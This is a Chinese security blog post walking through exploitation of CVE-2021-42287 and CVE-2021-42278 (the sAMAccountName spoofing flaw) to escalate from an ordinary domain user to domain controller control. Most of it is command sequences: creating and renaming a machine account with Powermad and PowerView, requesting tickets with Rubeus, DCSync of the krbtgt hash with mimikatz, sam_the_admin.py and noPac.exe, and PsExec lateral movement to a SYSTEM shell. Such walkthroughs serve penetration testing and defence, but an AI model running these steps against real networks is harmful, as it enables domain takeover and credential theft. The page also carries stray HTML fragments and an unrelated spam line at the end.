<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2021-42287&CVE-2021-42278 域內提權

    VSole2022-01-10 12:51:40

    前言

    網絡安全技術學習,承認??的弱點不是丑事。只有對原理了然于?,才能突破更多的限制。擁有快速學習能力的白帽子,是不能有短板的,有的只能是大量的標準板和幾塊長板。知識?,決定看到的攻擊?有多?;知識鏈,決定發動的殺傷鏈有多深。

    一、漏洞原理

    • CVE-2021-42278,機器賬戶的名字一般來說應該以$結尾,但AD沒有對域內機器賬戶名做驗證。
    • CVE-2021-42287,與上述漏洞配合使用,創建與DC機器賬戶名字相同的機器賬戶(不以$結尾),賬戶請求一個TGT后,更名賬戶,然后通過S4U2self申請TGS Ticket,接著DC在TGS_REP階段,這個賬戶不存在的時候,DC會使用自己的密鑰加密TGS Ticket,提供一個屬于該賬戶的PAC,然后我們就得到了一個高權限ST。
    • 假如域內有一臺域控名為 DC(域控對應的機器用戶為 DC$),此時攻擊者利用漏洞 CVE-2021-42287 創建一個機器用戶 SAMTHEADMIN-48$,再把機器用戶 SAMTHEADMIN-48$ 的 sAMAccountName 改成 DC。然后利用 DC 去申請一個TGT票據。再把 DC 的sAMAccountName 改為 SAMTHEADMIN-48$。這個時候 KDC 就會判斷域內沒有 DC 這個用戶,自動去搜索 DC$(DC$是域內已經的域控DC 的 sAMAccountName),攻擊者利用剛剛申請的 TGT 進行 S4U2self,模擬域內的域管去請求域控 DC 的 ST 票據,最終獲得域控制器DC的權限。

    二、手工復現

    1、操作流程

    # 1. create a computer account$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -ForceNew-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
    # 2. clear its SPNsSet-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
    # 3. rename the computer (computer -> DC)Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
    # 4. obtain a TGTRubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
    # 5. reset the computer nameSet-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
    # 6. obtain a service ticket with S4U2self by presenting the previous TGTRubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
    # 7. DCSync(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt
    

    2、擁有一個普通域賬戶

    net user xxx /domain
    

    3、嘗試攻擊

    3.1、利用 powermad.ps1 新增機器帳號(域用戶默認可以新建機器賬戶)

    命令

    Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount TestSPN -Domain xx.xx -DomainController xx.xx.xx -Verbose
    

    3.2、clear its SPNs(清除SPN信息)

    Import-Module .\powerview.ps1Set-DomainObject "CN=TestSPN,CN=Computers,DC=xxx,DC=xxx" -Clear 'serviceprincipalname' -Verbose
    

    3.3、reset the computer name(重設機器名稱)

    Set-MachineAccountAttribute -MachineAccount TestSPN -Value "xxx" -Attribute samaccountname -Verbose
    


    3.4、Request TGT (請求TGT)

    .\Rubeus.exe asktgt /user:xxx /password:x'x'x'x /domain:xxx.xxx /dc:xx.xx.xx /nowrap
    

    3.5、Change Machine Account samaccountname(改回原來屬性)

    Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname -Verbose
    


    3.6、Request S4U2self(獲取票據)

    .\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:x.x.x /self /altservice:LDAP/x.x.x. /ptt /ticket:doIE5jCCBOKgAwIBBaEDAgEWooID/zCCA/t
    

    3.7、獲取 kbrtgt 用戶的 NTLM Hash

    lsadump::dcsync /user:x\krbtgt /domain:x.x /dc:x.x.x
    

    三、sam-the-admin復現

    前置條件:

    需要一個域用戶

    利用過程:

    拿主域控

    python3 sam_the_admin.py x.x/x:x -dc-ip x.x.x.x -shell
    

    漏洞利用

    漏洞證明

    拿子域控

    python3 sam_the_admin.py x.x.x/x:x -dc-ip x.x.x.x -shell
    

    漏洞利用

    漏洞證明

    問題

    低版本的kali可能會面臨可以拿到票據,但是無法列出命令執行的窗口

    四、impacket工具包復現

    五、CVE-2021-42287/CVE-2021-42278 工具利用

    1、下載地址

    github

    2、實際操作

    2.1、掃描探測

    .oPac.exe scan -domain x.x.x -user x -pass 'x'
    

    測試開始之前查看域控根目錄提示拒絕訪問

    dir \x.x.x\c$

    2.2、直接利用(打子域是同樣方法)

    ./noPac.exe -domain x.x -user x -pass 'x' /dc x.x.x /mAccount x /mPassword x /service cifs /ptt
    

    此時已可以查看域控根目錄

    ls \x.x.x\c$

    注意問題

    如果使用cifs協議的話,時間過長之后票據會失效

    如果使用ldap協議的話,票據不會失效

    2.3、深度利用

    使用PsExec橫向移動

    通過noPac.exe使用cifs協議后,可以繼續通過PsExec64.exe直接橫向移動到域控主機或者域內其他機器

    PsExec64.exe \\x.x.x.x -u x\x -i -p x -s cmd.exe
    

    利用過程

    直接提升到system權限,查看IP確實為域控IP

    網絡安全感悟

    做網絡安全是一個長期的過程,因為做網絡安全沒有終點,不管是網絡安全企業,還是在網絡安全行業各種不同方向的從業人員,不管你選擇哪個方向,只有在這條路上堅持不懈,才能在這條路上走的更遠,走的更好,不然你肯定走不遠,遲早會轉行或者被淘汰,把時間全浪費掉。如果你覺得自己是真的熱愛網絡安全這個行業,堅持走下去就可以了,不用去管別人,現在就是一個大浪淘金的時代,淘下去的是沙子,留下來的才是金子,正所謂,千淘萬漉雖辛苦,吹盡狂沙始到金,網絡安全的路還很長,一生只做一件事,堅持做好一件事!

    網絡安全domain
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    通過對軍事網絡、黨政內網以及軍工企業內網等高安全等級網絡面臨的安全威脅和防御需求進行深入分析,結合對PDRR、P2DR現有安全模型的研究,提出了適用于高安全等級網絡安全防御的P2DAR安全模型,并設計了與P2DAR安全模型適配的安全防御體系。該體系聚焦高安全等級網絡安全威脅檢測、安全威脅識別等關鍵問題,設計了威脅感知、威脅分析以及威脅處置等安全防御技術,能夠為高安全等級網絡安全防御提供有效防御。
    漏洞及滲透練習平臺 數據庫注入練習平臺 花式掃描器 信息搜集工具 WEB工具 windows域滲透工具 漏洞利用及攻擊框架 漏洞POC&EXP 中間人攻擊及釣魚 密碼pj 二進制及代碼分析工具 EXP編寫框架及工具 隱寫相關工具 各類安全資料 各類CTF資源 各類編程資源 Python
    根據2021年10月11日國家市場監督管理總局、國家標準化管理委員會發布的中華人民共和國國家標準公告(2021年第12號),全國信息安全標準化技術委員會歸口的15項國家標準正式發布。具體清單如下:
    Web Hacking 101 中文版:https://wizardforcel.gitbooks.io/web-hacking-101/content/ 淺入淺出Android安全 中文版:https://wizardforcel.gitbooks.io/asani/content/ Android 滲透測試學習手冊 中文
    免責聲明 本工具僅面向 合法授權 的企業安全建設行為與個人學習行為,如您需要測試本工具的可用性,請自行搭建靶機環境。 在使用本工具進行檢測時,您應確保該行為符合當地的法律法規,并且已經取得了足夠的授權。請勿對非授權目標進行掃描。 禁止對本軟件實施逆向工程、反編譯、試圖破譯源代碼,植入后門傳播惡意軟件等行為。 如果發現上述禁止行為,我們將保留追究您法律責任的權利。 如您在使用本工具的過程中存在任何
    當前,在新一輪科技產業革命與新冠肺炎疫情風險交織疊加之際,全球網絡安全形勢依然嚴峻,針對關鍵行業和新技術、新場景的網絡安全威脅事件頻發,迫使各國持續深化關鍵基礎設施安全舉措,強化新技術、新應用安全風險防范。我國網絡安全立法和執法“雙管齊下”,全力捍衛網絡空間安全。受益于政策加碼和安全需求釋放,網絡安全產業迎來復蘇回暖。展望“十四五”時期,我國數字經濟轉向深化發展新階段,為應對安全新形勢、新挑戰,網
    過去兩年最值得關注的,有趣的19家網絡安全創業公司。
    2021年,我們被屢破記錄的贖金驚掉下巴,但不要忘了,數據泄露事情更值得警惕。他們攻破企業網絡防線,盜取機密信息,但不同點在于,他們不直接對企業進行勒索,而是希望悄無聲息,不被企業發現。 當這些信息在地下黑市出售時,你的電話、地址、甚至興趣愛好等,就成了明碼標價的商品,在買家手里一覽無余。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类